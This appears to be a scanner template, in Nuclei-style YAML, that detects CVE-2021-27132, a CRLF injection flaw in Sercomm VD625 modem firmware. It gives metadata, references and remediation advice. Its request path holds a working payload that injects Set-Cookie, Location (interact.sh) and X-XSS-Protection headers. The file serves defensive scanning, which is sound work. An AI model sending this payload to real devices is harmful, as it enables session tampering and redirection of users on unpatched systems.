48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: CVE-2021-27132
|
|
|
|
info:
|
|
name: Sercomm VD625 Smart Modems - CRLF Injection
|
|
author: geeknik
|
|
severity: critical
|
|
description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
|
|
remediation: |
|
|
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
|
|
reference:
|
|
- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
|
|
- http://sercomm.com
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27132
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-27132
|
|
cwe-id: CWE-74
|
|
epss-score: 0.03821
|
|
epss-percentile: 0.90875
|
|
cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sercomm
|
|
product: agcombo_vd625_firmware
|
|
tags: cve,cve2021,crlf,injection
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Content-Disposition: attachment;filename=test.txt"
|
|
- "Set-Cookie:CRLFInjection=Test"
|
|
- "Location: interact.sh"
|
|
- "X-XSS-Protection:0"
|
|
condition: and
|
|
|
|
- type: status
|
|
part: header
|
|
status:
|
|
- 404
|
|
# digest: 4a0a004730450220421f79c56522f3d9fe2069574c68a8b85feff51e7403f8b247de867e52fe6f13022100ae88ee9f4b6d66323989969c4e5cadcbd99a3b679f57cd66218839901116fdf0:922c64590222798bb761d5b6d8e72950 |